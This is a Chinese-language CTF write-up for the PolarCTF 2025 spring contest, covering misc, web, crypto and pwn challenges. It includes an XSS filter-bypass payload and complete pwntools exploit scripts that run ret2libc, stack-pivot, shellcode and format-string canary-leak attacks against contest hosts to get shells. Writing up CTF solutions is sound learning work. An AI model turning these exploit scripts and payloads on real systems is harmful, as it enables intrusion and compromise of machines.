Misc
可老师签到
这是一道比较有意思的签到题,难点在于如何理解它给的提示。


本题是一个游戏题,最后会让我们关注公众号,发送两次flag(这是关键,并非是最后提交时让flag*2),获得正确的flag。
find
这依旧是一道比较有趣的杂项题,主办方给了我们一个flag.xlsx工作表。

发现全是空白,然后也没有任何与flag相关的东西,于是,我猜测其可能是被隐藏了,仔细观察发现有些表格使用的是粗体,有些什么都没有,因此就证实了我的猜测,其可能是全部被弄成白色了,于是我打算将其变为黑色。

替换后进行对行高的调整发现是一个二维码,最后使用工具扫码获得flag。
Web
来个弹窗
打开所给网址可以看到这是一道XSS漏洞题目,首先输入一个基础的
<script>alert(1)</script>
|
,发现返回空,因此我们进行双写绕过
"><scscriptript>alert(1)</scscriptript>
|
发现可以,获得一张图片,提示是flag就是该人物名称md5加密。
0e事件
打开网站可以看到一个提示:请通过 URL 参数 ‘a’ 提交你的输入。由于题目为0e事件,由此可以猜测此题可以通过0e绕过,最后发现可以,获得flag。
Crypto
knock knock

从题目我们可以知道这道题考查的是敲击码,于是我们通过搜索并进行解码可以将密文变成THIS IS YOUR CHAMPION接着进行32位小写MD5加密即可。
LGC
通过题目我们可以看出是LGC,因此我们需要了解什么是LGC,接着再编写脚本即可。
Pwn
koi
经过file我们可以知道是一个64位文件,然后checksec发现它开启了一个NX保护,放进IDA看看。

发现主函数中有4个子函数,依次点进发现wrshell()函数与xxx()函数存在栈溢出。


再通过主函数我们可以分析出,需要当V4==520且n==520时,才会调用xxx()函数,因此需要修改n的值。这里我想的是栈迁移,进入wrshell函数,通过read进行溢出将rbp的地址覆盖成n的地址,将n的值改成520,接着就可以进入xxx()函数,再通过puts泄漏libc,最后再read进行栈溢出将返回地址覆盖,获取shell(需注意的是调用了scanf函数,会造成偏移,因此我们需要将偏移抵消)。exp如下:
from pwn import* io=remote('1.95.36.136',2115) context(arch='amd64',log_level='debug',os='linux') elf=ELF('./koi') libc=ELF('libc6_2.23-0ubuntu11.3_amd64.so') io.recv() io.sendline(b'1') io.recv() io.sendline(b'1') io.recv() io.sendline(b'1') io.recv() payload1=cyclic(0x50)+p64(0x060108C+0x4) io.sendline(payload1) io.recv() io.sendline(b'520') io.recv() xxx_addr=elf.sym['xxx'] puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] rdi_ret=0x0400a63 payload2=cyclic(0x50+8)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(xxx_addr) io.sendline(payload2) puts_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print (hex(puts_addr)) libc_base=puts_addr-libc.sym['puts'] print (hex(libc_base)) system=libc_base+libc.sym['system'] print (hex(system)) bin_sh=libc_base+next(libc.search('/bin/sh')) print (hex(bin_sh)) payload3=cyclic(0x50+8)+p64(rdi_ret)+p64(bin_sh)+p64(system) io.sendline(payload3)
io.interactive()
|
当然我们泄漏了puts的地址后,需要找到相应的libc版本,可以到libc database search这里去寻找。(有可能我写的比较复杂,主要是看获得的地址)
libc
本题是一道简单的32位libc。通过checksec,发现开启了NX保护。

通过IDA我们可以发现主函数中有两个子函数,分别进入看一下,


在jiu()函数中我们可以发现存在明显的栈溢出,由于并未告知system函数与/bin/sh的地址,但存在puts,于是我们可以通过puts泄漏libc,从而编写脚本获得shell,得到flag。exp如下:
from pwn import* io=remote('1.95.36.136',2101) elf=ELF('./libc') libc=('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] jiu=elf.sym['jiu']
payload1=cyclic(0x3A+4)+p32(puts_plt)+p32(jiu)+p32(puts_got) io.sendline(payload1) puts_addr=u32(io.recvuntil('\xf7')[-4:]) print (hex(puts_addr))
libc_base=puts_addr-0x05f150 system=libc_base+0x03a950 bin_sh=libc_base+0x15912b payload2=cyclic(0x3A+4)+p32(system)+p32(0)+p32(bin_sh) io.sendline(payload2)
io.interactive()
|
bllbl_shellcode_2
通过file与checksec,我们可以知道本题是一道64位的且没有开启NX保护的shellcode,将其拖入IDA中看看。


我们可以发现有一个yichu函数,进去一看,先是打印出v2的地址,然后读取用户输入的数据到v2,有可以在侧边栏看到reg函数,发现里面是汇编指令。因此大致思路就是先构造shellcode并写入到v2与rbp所占的栈空间,接着再让栈顶指针rsp重新指向一开始的地址,从而执行shellcode。exp如下:
from pwn import * context.arch = 'amd64' io = remote('1.95.36.136',2123) elf = ELF('./shellcode2') io.recvuntil(b"0x") v2 = int(io.recv(12),16) success("v2 >>> 0x%x" % v2) io.recv() jmp_rsp = 0x0000401380 binsh = 0x00000402047 shellcode = asm(""" mov al, 0x3b mov esi, edi mov edi, 0x402047; mov edx, esi syscall """) shellcode += p64(jmp_rsp) shellcode += asm("sub rsp,0x15;jmp rsp") io.sendline(shellcode) io.interactive()
|
fmt_text
还是老样子,是32位开启NX保护与Canary保护的elf。根据题目我猜测是通过格式化字符串漏洞绕过Canary保护。放进IDA。

在这直接进入yichu函数,发现和我的猜想一模一样,存在格式化字符串漏洞,接着再Shift+F12发现存在system函数但是没有/bin/sh
,然后再看看bss段上有没有什么东西,发现有个buf
。
欧克,思路清晰了,我们可以通过格式化字符串漏洞绕过Canary保护,接着将/bin/sh写入buf中,最后通过栈溢出,调用system函数,把buf当作其参数,从而获取shell。exp如下:
from pwn import* io = remote('1.95.36.136',2141) gets_addr = 0x08048430 system_addr = 0x8048460 buf_addr = 0x0804A080 io.sendline(b"%31$p") canary=int(io.recv(),16) print("camary>>>",hex(canary))
payload=b'a'*25*4+p32(canary)+b'a'*3*4+p32(gets_addr)+p32(system_addr)+p32(buf_addr)+p32(buf_addr) io.sendline(payload) io.sendline('sh') io.interactive()
|
欧克,本次的polarctf2025春季赛就复现这么多了,因为有些东西还没学到那里,复现难度大,以后未复现的题目会出现在Polar-xxx-wp里面。